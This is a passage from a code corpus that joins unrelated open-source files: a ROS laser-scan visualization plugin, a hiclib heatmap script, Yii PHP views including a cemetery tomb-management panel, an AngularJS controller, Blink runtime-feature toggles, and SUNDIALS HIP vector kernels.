msg->range_max || msg->ranges[i] < msg->range_min) { continue; } StampedPoint point; angle = msg->angle_min + msg->angle_increment * i; x = cos(angle) * msg->ranges[i]; y = sin(angle) * msg->ranges[i]; point.point = tf::Point(x, y, 0.0f); point.range = msg->ranges[i]; if (i < msg->intensities.size()) point.intensity = msg->intensities[i]; if (scan.transformed) { point.transformed_point = transform * point.point; } point.color = CalculateColor(point, scan.has_intensity); scan.points.push_back(point); } scans_.push_back(scan); // If there are more items in the scan buffer than buffer_size_, remove them if (buffer_size_ > 0) { while (scans_.size() > buffer_size_) { scans_.pop_front(); } } } void LaserScanPlugin::PrintError(const std::string& message) { if (message == ui_.status->text().toStdString()) return; ROS_ERROR("Error: %s", message.c_str()); QPalette p(ui_.status->palette()); p.setColor(QPalette::Text, Qt::red); ui_.status->setPalette(p); ui_.status->setText(message.c_str()); } void LaserScanPlugin::PrintInfo(const std::string& message) { if (message == ui_.status->text().toStdString()) return; ROS_INFO("%s", message.c_str()); QPalette p(ui_.status->palette()); p.setColor(QPalette::Text, Qt::green); ui_.status->setPalette(p); ui_.status->setText(message.c_str()); } void LaserScanPlugin::PrintWarning(const std::string& message) { if (message == ui_.status->text().toStdString()) return; ROS_WARN("%s", message.c_str()); QPalette p(ui_.status->palette()); p.setColor(QPalette::Text, Qt::darkYellow); ui_.status->setPalette(p); ui_.status->setText(message.c_str()); } QWidget* LaserScanPlugin::GetConfigWidget(QWidget* parent) { config_widget_->setParent(parent); return config_widget_; } bool LaserScanPlugin::Initialize(QGLWidget* canvas) { canvas_ = canvas; DrawIcon(); return true; } void LaserScanPlugin::Draw(double x, double y, double scale) { ros::Time now = ros::Time::now(); glPointSize(point_size_); glBegin(GL_POINTS); std::deque<Scan>::const_iterator scan_it = scans_.begin(); while (scan_it != scans_.end()) { if (scan_it->transformed) { std::vector<StampedPoint>::const_iterator point_it = scan_it->points.begin(); for (; point_it != scan_it->points.end(); ++point_it) { glColor4f( point_it->color.redF(), point_it->color.greenF(), point_it->color.blueF(), alpha_); glVertex2f( point_it->transformed_point.getX(), point_it->transformed_point.getY()); } } ++scan_it; } glEnd(); PrintInfo("OK"); } void LaserScanPlugin::UseRainbowChanged(int check_state) { if (check_state == Qt::Checked) { ui_.max_color->setVisible(false); ui_.min_color->setVisible(false); ui_.maxColorLabel->setVisible(false); ui_.minColorLabel->setVisible(false); } else { ui_.max_color->setVisible(true); ui_.min_color->setVisible(true); ui_.maxColorLabel->setVisible(true); ui_.minColorLabel->setVisible(true); } UpdateColors(); } void LaserScanPlugin::Transform() { std::deque<Scan>::iterator scan_it = scans_.begin(); for (; scan_it != scans_.end(); ++scan_it) { Scan& scan = *scan_it; swri_transform_util::Transform transform; bool was_using_latest_transforms = this->use_latest_transforms_; this->use_latest_transforms_ = false; if (GetTransform(scan.source_frame_, scan.stamp, transform)) { scan.transformed = true; std::vector<StampedPoint>::iterator point_it = scan.points.begin(); for (; point_it != scan.points.end(); ++point_it) { point_it->transformed_point = transform * point_it->point; } } else { scan.transformed = false; } this->use_latest_transforms_ = was_using_latest_transforms; } // Z color is based on transformed color, so it is dependent on the // transform if (ui_.color_transformer->currentIndex() == COLOR_Z) { UpdateColors(); } } void LaserScanPlugin::LoadConfig(const YAML::Node& node, const std::string& path) { if (node["topic"]) { std::string topic; node["topic"] >> topic; ui_.topic->setText(boost::trim_copy(topic).c_str()); TopicEdited(); } if (node["size"]) { node["size"] >> point_size_; ui_.pointSize->setValue(point_size_); } if (node["buffer_size"]) { node["buffer_size"] >> buffer_size_; ui_.bufferSize->setValue(buffer_size_); } if (node["color_transformer"]) { std::string color_transformer; node["color_transformer"] >> color_transformer; if (color_transformer == "Intensity") ui_.color_transformer->setCurrentIndex(COLOR_INTENSITY); else if (color_transformer == "Range") ui_.color_transformer->setCurrentIndex(COLOR_RANGE); else if (color_transformer == "X Axis") ui_.color_transformer->setCurrentIndex(COLOR_X); else if (color_transformer == "Y Axis") ui_.color_transformer->setCurrentIndex(COLOR_Y); else if (color_transformer == "Z Axis") ui_.color_transformer->setCurrentIndex(COLOR_Z); else ui_.color_transformer->setCurrentIndex(COLOR_FLAT); } if (node["min_color"]) { std::string min_color_str; node["min_color"] >> min_color_str; ui_.min_color->setColor(QColor(min_color_str.c_str())); } if (node["max_color"]) { std::string max_color_str; node["max_color"] >> max_color_str; ui_.max_color->setColor(QColor(max_color_str.c_str())); } if (node["value_min"]) { node["value_min"] >> min_value_; ui_.minValue->setValue(min_value_); } if (node["max_value"]) { node["value_max"] >> max_value_; ui_.maxValue->setValue(max_value_); } if (node["alpha"]) { node["alpha"] >> alpha_; ui_.alpha->setValue(alpha_); AlphaEdited(); } if (node["use_rainbow"]) { bool use_rainbow; node["use_rainbow"] >> use_rainbow; ui_.use_rainbow->setChecked(use_rainbow); } // UseRainbowChanged must be called *before* ColorTransformerChanged UseRainbowChanged(ui_.use_rainbow->checkState()); // ColorTransformerChanged will also update colors of all points ColorTransformerChanged(ui_.color_transformer->currentIndex()); } void LaserScanPlugin::ColorTransformerChanged(int index) { ROS_DEBUG("Color transformer changed to %d", index); switch (index) { case COLOR_FLAT: ui_.min_color->setVisible(true); ui_.max_color->setVisible(false); ui_.maxColorLabel->setVisible(false); ui_.minColorLabel->setVisible(false); ui_.minValueLabel->setVisible(false); ui_.maxValueLabel->setVisible(false); ui_.minValue->setVisible(false); ui_.maxValue->setVisible(false); ui_.use_rainbow->setVisible(false); break; case COLOR_INTENSITY: // Intensity case COLOR_RANGE: // Range case COLOR_X: // X Axis case COLOR_Y: // Y Axis case COLOR_Z: // Z axis default: ui_.min_color->setVisible(!ui_.use_rainbow->isChecked()); ui_.max_color->setVisible(!ui_.use_rainbow->isChecked()); ui_.maxColorLabel->setVisible(!ui_.use_rainbow->isChecked()); ui_.minColorLabel->setVisible(!ui_.use_rainbow->isChecked()); ui_.minValueLabel->setVisible(true); ui_.maxValueLabel->setVisible(true); ui_.minValue->setVisible(true); ui_.maxValue->setVisible(true); ui_.use_rainbow->setVisible(true); break; } UpdateColors(); } /** * Coerces alpha to [0.0, 1.0] and stores it in alpha_ */ void LaserScanPlugin::AlphaEdited() { alpha_ = std::max(0.0f, std::min(ui_.alpha->text().toFloat(), 1.0f)); ui_.alpha->setValue(alpha_); } void LaserScanPlugin::SaveConfig(YAML::Emitter& emitter, const std::string& path) { emitter << YAML::Key << "topic" << YAML::Value << boost::trim_copy(ui_.topic->text().toStdString()); emitter << YAML::Key << "size" << YAML::Value << ui_.pointSize->value(); emitter << YAML::Key << "buffer_size" << YAML::Value << ui_.bufferSize->value(); emitter << YAML::Key << "alpha" << YAML::Value << alpha_; emitter << YAML::Key << "color_transformer" << YAML::Value << ui_.color_transformer->currentText().toStdString(); emitter << YAML::Key << "min_color" << YAML::Value << ui_.min_color->color().name().toStdString(); emitter << YAML::Key << "max_color" << YAML::Value << ui_.max_color->color().name().toStdString(); emitter << YAML::Key << "value_min" << YAML::Value << ui_.minValue->text().toDouble(); emitter << YAML::Key << "value_max" << YAML::Value << ui_.maxValue->text().toDouble(); emitter << YAML::Key << "use_rainbow" << YAML::Value << ui_.use_rainbow->isChecked(); } }
evenator/mapviz
mapviz_plugins/src/laserscan_plugin.cpp
C++
bsd-3-clause
20,064
#!/usr/bin/env python import sys from hiclib import mapping, fragmentHiC from mirnylib import h5dict, genome import h5py basedir = sys.argv[1] genome_db = genome.Genome('%s/Data/Genome/mm9_fasta' % basedir, readChrms=['1'], chrmFileTemplate="%s.fa") temp = h5py.File('%s/Data/Timing/hiclib_data_norm.hdf5' % basedir, 'r') weights = temp['weights'][...] temp.close() fragments = fragmentHiC.HiCdataset( filename='temp', genome=genome_db, maximumMoleculeLength=500, mode='a', enzymeName="NcoI", inMemory=True) fragments.load('%s/Data/Timing/hiclib_data_norm.hdf5' % basedir) fragments.weights = weights fragments.fragmentWeights = weights fragments.vectors['weights'] = 'float32' fragments.saveHeatmap('%s/Data/Timing/hiclib_heatmap.hdf5' % basedir, resolution=10000, useWeights=True)
bxlab/HiFive_Paper
Scripts/Timing/hiclib_heatmap.py
Python
bsd-3-clause
813
<div class="member_section"> <div class="login_home"> <a href="<?php echo Yii::app()->getHomeUrl(true); ?>"><img src="<?php echo Yii::app()->theme->baseUrl; ?>/images/login_home_img.png" alt="" /></a> </div> <div class="login_arrow"> <a href="javascript:history.back()"><img src="<?php echo Yii::app()->theme->baseUrl; ?>/images/login_representation_img.png" alt="" /></a> </div> <div class="clear"></div> <div class="mid_blocks" id="mid_blocks"> <?php if(!empty($models)){ foreach($models as $model){ $time1 = date("Y-m-d H:i:s"); $time2 = $model->LastLoginDate; $timeDiff = Profile::model()->getDateTimeDiff($time1,$time2); if($timeDiff < 1){ ?> <div class="view"> <img src="<?php echo Yii::app()->theme->baseUrl; ?>/images/img1.png" alt=""> <div class="mask"> <div class="test_section"><span><?php echo CHtml::link($model->UserName,array('profile/'.$model->UserId)); ?></span></div> <div class="age_section"> <img src="<?php echo Yii::app()->theme->baseUrl; ?>/images/inner_man.png" alt="" /> <span><?php echo ($model->Gender) ? "Female" : "Male"; ?>, <?php if($model->DateOfBirth != '0000-00-00') echo Profile::model()->getAge(($model->DateOfBirth)); ?></span> </div> <div class="age_section"> <img src="<?php echo Yii::app()->theme->baseUrl; ?>/images/map_icon.png" alt="" /> <span><?php echo $model->CityOrPostal; ?></span> </div> <div class="hover_navigation"> <ul> <li><a href="#">Mail </a></li> <li><a href="#">Chat </a></li> <li><a href="#">Wink</a></li> </ul> </div> </div> </div> <?php } } }else{ echo '<div class="notFound">Not Found!</div>'; } ?> <div class="clear"></div> </div> </div>
brahmajiayatas/getweiss
protected/views/profile/online.php
PHP
bsd-3-clause
1,760
'use strict'; angular.module('app.controllers', []) .controller('HomeController', ['$scope','CountryFactory', function($scope, CountryFactory){ $scope.paisSeleccionado = []; CountryFactory.getAllCountries(); $scope.mostrarPaises = function(){ CountryFactory.getAllCountries(); var countries = CountryFactory.getCountries(); $scope.paisSeleccionado = countries[0]; } $scope.crearPais = function(){ CountryFactory.crearPais(); } }])
UsuarioCristian/basic2015
api/assets/js/controllers/controllers.js
JavaScript
bsd-3-clause
450
/* * Copyright (C) 2013 Google Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are * met: * * * Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * * Redistributions in binary form must reproduce the above * copyright notice, this list of conditions and the following disclaimer * in the documentation and/or other materials provided with the * distribution. * * Neither the name of Google Inc. nor the names of its * contributors may be used to endorse or promote products derived from * this software without specific prior written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "config.h" #include "public/web/WebRuntimeFeatures.h" #include "platform/RuntimeEnabledFeatures.h" #include "web/WebMediaPlayerClientImpl.h" namespace blink { void WebRuntimeFeatures::enableExperimentalFeatures(bool enable) { RuntimeEnabledFeatures::setExperimentalFeaturesEnabled(enable); } void WebRuntimeFeatures::enableBleedingEdgeFastPaths(bool enable) { ASSERT(enable); RuntimeEnabledFeatures::setBleedingEdgeFastPathsEnabled(enable); RuntimeEnabledFeatures::setWebAnimationsAPIEnabled(enable); } void WebRuntimeFeatures::enableBlinkScheduler(bool enable) { RuntimeEnabledFeatures::setBlinkSchedulerEnabled(enable); } void WebRuntimeFeatures::enableTestOnlyFeatures(bool enable) { RuntimeEnabledFeatures::setTestFeaturesEnabled(enable); } void WebRuntimeFeatures::enableApplicationCache(bool enable) { RuntimeEnabledFeatures::setApplicationCacheEnabled(enable); } void WebRuntimeFeatures::enableCompositedSelectionUpdate(bool enable) { RuntimeEnabledFeatures::setCompositedSelectionUpdateEnabled(enable); } bool WebRuntimeFeatures::isCompositedSelectionUpdateEnabled() { return RuntimeEnabledFeatures::compositedSelectionUpdateEnabled(); } void WebRuntimeFeatures::enableDatabase(bool enable) { RuntimeEnabledFeatures::setDatabaseEnabled(enable); } void WebRuntimeFeatures::enableDecodeToYUV(bool enable) { RuntimeEnabledFeatures::setDecodeToYUVEnabled(enable); } void WebRuntimeFeatures::forceDisplayList2dCanvas(bool enable) { RuntimeEnabledFeatures::setForceDisplayList2dCanvasEnabled(enable); } void WebRuntimeFeatures::enableDisplayList2dCanvas(bool enable) { RuntimeEnabledFeatures::setDisplayList2dCanvasEnabled(enable); } void WebRuntimeFeatures::enableEncryptedMedia(bool enable) { RuntimeEnabledFeatures::setEncryptedMediaEnabled(enable); } bool WebRuntimeFeatures::isEncryptedMediaEnabled() { return RuntimeEnabledFeatures::encryptedMediaEnabled(); } void WebRuntimeFeatures::enablePrefixedEncryptedMedia(bool enable) { RuntimeEnabledFeatures::setPrefixedEncryptedMediaEnabled(enable); } bool WebRuntimeFeatures::isPrefixedEncryptedMediaEnabled() { return RuntimeEnabledFeatures::prefixedEncryptedMediaEnabled(); } void WebRuntimeFeatures::enableExperimentalCanvasFeatures(bool enable) { RuntimeEnabledFeatures::setExperimentalCanvasFeaturesEnabled(enable); } void WebRuntimeFeatures::enableFastMobileScrolling(bool enable) { RuntimeEnabledFeatures::setFastMobileScrollingEnabled(enable); } void WebRuntimeFeatures::enableFileSystem(bool enable) { RuntimeEnabledFeatures::setFileSystemEnabled(enable); } void WebRuntimeFeatures::enableImageColorProfiles(bool enable) { RuntimeEnabledFeatures::setImageColorProfilesEnabled(enable); } void WebRuntimeFeatures::enableLocalStorage(bool enable) { RuntimeEnabledFeatures::setLocalStorageEnabled(enable); } void WebRuntimeFeatures::enableMediaPlayer(bool enable) { RuntimeEnabledFeatures::setMediaEnabled(enable); } void WebRuntimeFeatures::enableMediaCapture(bool enable) { RuntimeEnabledFeatures::setMediaCaptureEnabled(enable); } void WebRuntimeFeatures::enableMediaSource(bool enable) { RuntimeEnabledFeatures::setMediaSourceEnabled(enable); } void WebRuntimeFeatures::enableNotifications(bool enable) { RuntimeEnabledFeatures::setNotificationsEnabled(enable); } void WebRuntimeFeatures::enableNavigatorContentUtils(bool enable) { RuntimeEnabledFeatures::setNavigatorContentUtilsEnabled(enable); } void WebRuntimeFeatures::enableNavigationTransitions(bool enable) { RuntimeEnabledFeatures::setNavigationTransitionsEnabled(enable); } void WebRuntimeFeatures::enableNetworkInformation(bool enable) { RuntimeEnabledFeatures::setNetworkInformationEnabled(enable); } void WebRuntimeFeatures::enableOrientationEvent(bool enable) { RuntimeEnabledFeatures::setOrientationEventEnabled(enable); } void WebRuntimeFeatures::enablePagePopup(bool enable) { RuntimeEnabledFeatures::setPagePopupEnabled(enable); } void WebRuntimeFeatures::enablePeerConnection(bool enable) { RuntimeEnabledFeatures::setPeerConnectionEnabled(enable); } void WebRuntimeFeatures::enableRequestAutocomplete(bool enable) { RuntimeEnabledFeatures::setRequestAutocompleteEnabled(enable); } void WebRuntimeFeatures::enableScreenOrientation(bool enable) { RuntimeEnabledFeatures::setScreenOrientationEnabled(enable); } void WebRuntimeFeatures::enableScriptedSpeech(bool enable) { RuntimeEnabledFeatures::setScriptedSpeechEnabled(enable); } void WebRuntimeFeatures::enableServiceWorker(bool enable) { RuntimeEnabledFeatures::setServiceWorkerEnabled(enable); } void WebRuntimeFeatures::enableSessionStorage(bool enable) { RuntimeEnabledFeatures::setSessionStorageEnabled(enable); } void WebRuntimeFeatures::enableSlimmingPaint(bool enable) { RuntimeEnabledFeatures::setSlimmingPaintEnabled(enable); } void WebRuntimeFeatures::enableTouch(bool enable) { RuntimeEnabledFeatures::setTouchEnabled(enable); } void WebRuntimeFeatures::enableTouchIconLoading(bool enable) { RuntimeEnabledFeatures::setTouchIconLoadingEnabled(enable); } void WebRuntimeFeatures::enableWebAudio(bool enable) { RuntimeEnabledFeatures::setWebAudioEnabled(enable); } void WebRuntimeFeatures::enableWebGLDraftExtensions(bool enable) { RuntimeEnabledFeatures::setWebGLDraftExtensionsEnabled(enable); } void WebRuntimeFeatures::enableWebGLImageChromium(bool enable) { RuntimeEnabledFeatures::setWebGLImageChromiumEnabled(enable); } void WebRuntimeFeatures::enableWebMIDI(bool enable) { return RuntimeEnabledFeatures::setWebMIDIEnabled(enable); } void WebRuntimeFeatures::enableXSLT(bool enable) { RuntimeEnabledFeatures::setXSLTEnabled(enable); } void WebRuntimeFeatures::enableOverlayScrollbars(bool enable) { RuntimeEnabledFeatures::setOverlayScrollbarsEnabled(enable); } void WebRuntimeFeatures::enableOverlayFullscreenVideo(bool enable) { RuntimeEnabledFeatures::setOverlayFullscreenVideoEnabled(enable); } void WebRuntimeFeatures::enableSharedWorker(bool enable) { RuntimeEnabledFeatures::setSharedWorkerEnabled(enable); } void WebRuntimeFeatures::enablePreciseMemoryInfo(bool enable) { RuntimeEnabledFeatures::setPreciseMemoryInfoEnabled(enable); } void WebRuntimeFeatures::enableShowModalDialog(bool enable) { RuntimeEnabledFeatures::setShowModalDialogEnabled(enable); } void WebRuntimeFeatures::enableLaxMixedContentChecking(bool enable) { RuntimeEnabledFeatures::setLaxMixedContentCheckingEnabled(enable); } void WebRuntimeFeatures::enableCredentialManagerAPI(bool enable) { RuntimeEnabledFeatures::setCredentialManagerEnabled(enable); } void WebRuntimeFeatures::enableTextBlobs(bool enable) { RuntimeEnabledFeatures::setTextBlobEnabled(enable); } void WebRuntimeFeatures::enableCSSViewport(bool enable) { RuntimeEnabledFeatures::setCSSViewportEnabled(enable); } void WebRuntimeFeatures::enableV8IdleTasks(bool enable) { RuntimeEnabledFeatures::setV8IdleTasksEnabled(enable); } void WebRuntimeFeatures::enableSVG1DOM(bool enable) { RuntimeEnabledFeatures::setSVG1DOMEnabled(enable); } void WebRuntimeFeatures::enableReducedReferrerGranularity(bool enable) { RuntimeEnabledFeatures::setReducedReferrerGranularityEnabled(enable); } } // namespace blink
primiano/blink-gitcs
Source/web/WebRuntimeFeatures.cpp
C++
bsd-3-clause
8,907
<?php use yii\helpers\Html; /* @var $this yii\web\View */ /* @var $model app\models\issue */ $this->title = 'Update Issue: ' . ' ' . $model->id; $this->params['breadcrumbs'][] = ['label' => 'Issues', 'url' => ['index']]; $this->params['breadcrumbs'][] = ['label' => $model->id, 'url' => ['view', 'id' => $model->id]]; $this->params['breadcrumbs'][] = 'Update'; ?> <div class="issue-update"> <h1 style='margin-top:0px; padding-top:15px'>Update Issue</h1> <hr> <?= $this->render('_form', [ 'model' => $model, ]) ?> </div>
fahmihdyt/propensi
views/Issue/update.php
PHP
bsd-3-clause
550
<?php use app\core\helpers\Url; \app\assets\BootBoxAsset::register($this); ?> <style type="text/css"> #option-box { font-size:12px;} #option-box table tr{ margin-bottom:1em; border-bottom:1px dotted #e1e1e1; } #option-box table td { vertical-align:middle; padding:2px 0px 3px 3px; } #option-box table td span { background-color:#ccd8ed; border-radius:3px; padding:2px 5px; color:#666;} #option-box table td div { width:100px; float:left; line-height:30px; } </style> <div class="row"> <div class="col-xs-3"> <img class="img-circle" width="64" src="<?=$tomb->getThumb('200x100', '/static/images/default.png')?>"> </div> <div class="col-xs-9"> 墓位号:<code><?=$tomb->tomb_no?></code> 价格:<code>¥<?=$tomb->price?></code> 穴数:<code><?=$tomb->hole?></code> </div> <div id="option-box" class="col-xs-12"> <hr /> <table> <?php foreach($options as $key=>$opt):?> <tr> <td width="80px;" valign="top" style="padding-top:4px;"> <?php switch ($key) { case 'common': echo '<span class="option-title">普通操作</span>'; break; case 'operate': echo '<span class="option-title">业务操作</span>'; break; case 'other': echo '<span class="option-title">其他操作</span>'; break; case 'tombwithdraw': echo '<span class="option-title">退墓操作</span>'; break; case 'careful': echo '<span class="option-title">改墓操作</span>'; break; // ..... 其他的 } ?> </td> <td> <?php foreach($opt as $item): ?> <div> <a class="<?php echo $item[2];?>" href="<?php echo $item[1];?>" target="_blank"><?php echo $item[0];?></a> </div> <?php endforeach;?> </td> </tr> <?php endforeach;?> </table> </div> </div> <div id='ylw-tpl' style="display:none;"> <div id="recommand-form" class="recommand-box"> <form action="" method="post"> <textarea placeholder="操作理由" rows="5" class="form-control" name="recommand_intro"></textarea> </div> <div id="retain-form" class="retain-box"> <form action="" method="post"> <textarea placeholder="操作理由" rows="5" class="form-control" name="retain_intro"></textarea> </form> </div> </div> <script type="text/javascript" charset="utf-8"> $(function(){ // 操作项 - 墓位预订------------------------------------------------- $('body').on('click', 'a.tomb-preorder', function(e){ e.preventDefault(); var url = $(this).attr('href'); $.get(url, function(xhr){ if (xhr.status) { window.location = "<?php echo Url::toRoute(['/grave/admin/process/index', 'step'=>1, 'tomb_id'=>$tomb->id]) ?>" } else { //alert(xhr.info); } }, 'json'); return false; }); // 操作项 - 取消预订------------------------------------------------- $('body').on('click', 'a.tomb-unpreorder', function(e){ e.preventDefault(); var url = $(this).attr('href'); $.get(url, function(json){ if (json.status == 0) { bootbox.dialog({ title: "错误信息", message: json.info }) } else { window.location.reload(); } }, 'json'); }); // 保留墓位操作 $('body').on('click', 'a.tomb-retain', function(e){ e.preventDefault(); var $this = $(this); var url = $(this).attr('href'); var retainForm = $('#ylw-tpl').find('#retain-form') .clone().removeAttr('id'); retainForm.find('textarea').attr('rel','retain-box'); retainArt = bootbox.dialog({ title: "保留该墓位", message: retainForm.html(), buttons: { "success" : { "label" : "<i class='icon-ok'></i> 保留", "className" : "btn-sm btn-success", "callback": function() { var content = $('textarea[rel=retain-box]').val(); var datas = { 'retain_intro' : content, 'sale_status' : -1 }; $.get(url, datas, function(rs){ if (rs.status) { $this.text(''); bootbox.dialog({ title: "保留墓位成功", message: '<p style="font-size:1.5em" class="alert alert-success"><i class="icon-comment-alt"></i> 保留墓位成功</p>', buttons: { "success" : { "label" : "<i class='icon-ok'></i> 结束", "className" : "btn-sm btn-success", "callback": function() {location.reload()} }, } }) } },'json'); } }, "button" : { "label" : "返回", "className" : "btn-sm", "callback": function() { } } } }) }); // 保留墓位操作 $('body').on('click', 'a.tomb-retain-del', function(e){ e.preventDefault(); var $this = $(this); var url = $(this).attr('href'); var retainForm = $('#ylw-tpl').find('#retain-form') .clone().removeAttr('id') retainForm.find('textarea').attr('rel','retain-box'); retainArt = bootbox.dialog({ title: "取消保留", message: retainForm.html(), buttons: { "success" : { "label" : "<i class='icon-ok'></i> 取消保留", "className" : "btn-sm btn-success", "callback": function() { var content = $('textarea[rel=retain-box]').val(); var datas = { 'retain_intro' : content, 'sale_status' : 1 }; $.get(url, datas, function(rs){ if (rs.status) { $this.text(''); bootbox.dialog({ title: "取消保留墓位成功", message: '<p style="font-size:1.5em" class="alert alert-success"><i class="icon-comment-alt"></i> 取消保留成功</p>', buttons: { "success" : { "label" : "<i class='icon-ok'></i> 结束", "className" : "btn-sm btn-success", "callback": function() {location.reload()} }, } }) } },'json'); } }, "button" : { "label" : "返回", "className" : "btn-sm", "callback": function() { } } } }) }); // 推荐墓位操作 $('body').on('click', 'a.tomb-recommand', function(e){ e.preventDefault(); var $this = $(this); var url = $(this).attr('href'); var recommandForm = $('#ylw-tpl').find('#recommand-form') .clone().removeAttr('id') recommandForm.find('textarea').attr('rel','recommand-box'); recommandArt = bootbox.dialog({ title: "推荐该墓位", message: recommandForm.html(), buttons: { "success" : { "label" : "<i class='icon-ok'></i> 推荐", "className" : "btn-sm btn-success", "callback": function() { var content = $('textarea[rel=recommand-box]').val(); var datas = { 'recommand_intro' : content }; $.post(url, datas, function(rs){ if (rs.info == 'ok') { $this.attr('href', rs.data.url); $this.attr('class', 'tomb-unrecommand'); $this.text('取消推荐'); } },'json'); } }, "button" : { "label" : "返回", "className" : "btn-sm", "callback": function() { } } } }) }); // 取消推荐 $('body').on('click', 'a.tomb-unrecommand', function(e){ e.preventDefault(); var $this = $(this); var url = $this.attr('href'); $.get(url, function(rs) { if (rs.info == 'ok') { $this.attr('class', 'tomb-recommand'); $this.attr('href', rs.data.url); $this.text('推荐该墓位'); } },'json'); }); }); </script>
cboy868/lion
modules/grave/views/admin/tomb/option.php
PHP
bsd-3-clause
10,602
/* * ----------------------------------------------------------------- * Programmer(s): Slaven Peles, Cody J. Balos @ LLNL * ----------------------------------------------------------------- * SUNDIALS Copyright Start * Copyright (c) 2002-2021, Lawrence Livermore National Security * and Southern Methodist University. * All rights reserved. * * See the top-level LICENSE and NOTICE files for details. * * SPDX-License-Identifier: BSD-3-Clause * SUNDIALS Copyright End * ----------------------------------------------------------------- */ #ifndef _NVECTOR_HIP_KERNELS_HIP_HPP_ #define _NVECTOR_HIP_KERNELS_HIP_HPP_ #include <limits> #include <hip/hip_runtime.h> #include "sundials_hip_kernels.hip.hpp" using namespace sundials::hip; namespace sundials { namespace nvector_hip { /* ----------------------------------------------------------------- * The namespace for HIP kernels * * Reduction HIP kernels in nvector are based in part on "reduction" * example in NVIDIA Corporation CUDA Samples, and parallel reduction * examples in textbook by J. Cheng at al. "CUDA C Programming". * ----------------------------------------------------------------- */ /* * Sets all elements of the vector X to constant value a. * */ template <typename T, typename I> __global__ void setConstKernel(T a, T *X, I n) { GRID_STRIDE_XLOOP(I, i, n) { X[i] = a; } } /* * Computes linear sum (combination) of two vectors. * */ template <typename T, typename I> __global__ void linearSumKernel(T a, const T *X, T b, const T *Y, T *Z, I n) { GRID_STRIDE_XLOOP(I, i, n) { Z[i] = a*X[i] + b*Y[i]; } } /* * Elementwise product of two vectors. * */ template <typename T, typename I> __global__ void prodKernel(const T *X, const T *Y, T *Z, I n) { GRID_STRIDE_XLOOP(I, i, n) { Z[i] = X[i]*Y[i]; } } /* * Elementwise division of two vectors. * */ template <typename T, typename I> __global__ void divKernel(const T *X, const T *Y, T *Z, I n) { GRID_STRIDE_XLOOP(I, i, n) { Z[i] = X[i]/Y[i]; } } /* * Scale vector with scalar value 'a'. * */ template <typename T, typename I> __global__ void scaleKernel(T a, const T *X, T *Z, I n) { GRID_STRIDE_XLOOP(I, i, n) { Z[i] = a*X[i]; } } /* * Stores absolute values of vector X elements into vector Z. * */ template <typename T, typename I> __global__ void absKernel(const T *X, T *Z, I n) { GRID_STRIDE_XLOOP(I, i, n) { Z[i] = abs(X[i]); } } /* * Elementwise inversion. * */ template <typename T, typename I> __global__ void invKernel(const T *X, T *Z, I n) { GRID_STRIDE_XLOOP(I, i, n) { Z[i] = 1.0/(X[i]); } } /* * Add constant 'c' to each vector element. * */ template <typename T, typename I> __global__ void addConstKernel(T a, const T *X, T *Z, I n) { GRID_STRIDE_XLOOP(I, i, n) { Z[i] = a + X[i]; } } /* * Compare absolute values of vector 'X' with constant 'c'. * */ template <typename T, typename I> __global__ void compareKernel(T c, const T *X, T *Z, I n) { GRID_STRIDE_XLOOP(I, i, n) { Z[i] = (abs(X[i]) >= c) ? 1.0 : 0.0; } } /* * Dot product of two vectors. * */ template <typename T, typename I> __global__ void dotProdKernel(const T *x, const T *y, T *out, I n) { T sum = 0.0; GRID_STRIDE_XLOOP(I, i, n) { sum += x[i] * y[i]; } sum = blockReduce<T, RSUM>(sum, 0.0); // Copy reduction result for each block to global memory if (threadIdx.x == 0) atomicAdd(out, sum); } /* * Finds max norm the vector. * */ template <typename T, typename I> __global__ void maxNormKernel(const T *x, T *out, I n) { T maximum = 0.0; GRID_STRIDE_XLOOP(I, i, n) { maximum = max(abs(x[i]), maximum); } maximum = blockReduce<T, RMAX>(maximum, 0.0); // Maximum of reduction result for each block if (threadIdx.x == 0) AtomicMax(out, maximum); } /* * Weighted L2 norm squared. * */ template <typename T, typename I> __global__ void wL2NormSquareKernel(const T *x, const T *w, T *out, I n) { T sum = 0.0; GRID_STRIDE_XLOOP(I, i, n) { sum += x[i] * w[i] * x[i] * w[i]; } sum = blockReduce<T, RSUM>(sum, 0.0); // Copy reduction result for each block to global memory if (threadIdx.x == 0) atomicAdd(out, sum); } /* * Weighted L2 norm squared with mask. Vector id specifies the mask. * */ template <typename T, typename I> __global__ void wL2NormSquareMaskKernel(const T *x, const T *w, const T *id, T *out, I n) { T sum = 0.0; GRID_STRIDE_XLOOP(I, i, n) { if(id[i] > 0.0) sum += x[i] * w[i] * x[i] * w[i]; } sum = blockReduce<T, RSUM>(sum, 0.0); // Copy reduction result for each block to global memory if (threadIdx.x == 0) atomicAdd(out, sum); } /* * Finds min value in the vector. * */ template <typename T, typename I> __global__ void findMinKernel(T MAX_VAL, const T *x, T *out, I n) { T minimum = MAX_VAL; GRID_STRIDE_XLOOP(I, i, n) { minimum = min(x[i], minimum); } minimum = blockReduce<T, RMIN>(minimum, MAX_VAL); // minimum of reduction result for each block if (threadIdx.x == 0) AtomicMin(out, minimum); } /* * Computes L1 norm of vector * */ template <typename T, typename I> __global__ void L1NormKernel(const T *x, T *out, I n) { T sum = 0.0; GRID_STRIDE_XLOOP(I, i, n) { sum += abs(x[i]); } sum = blockReduce<T, RSUM>(sum, 0.0); // Copy reduction result for each block to global memory if (threadIdx.x == 0) atomicAdd(out, sum); } /* * Vector inverse z[i] = 1/x[i] with check for zeros. 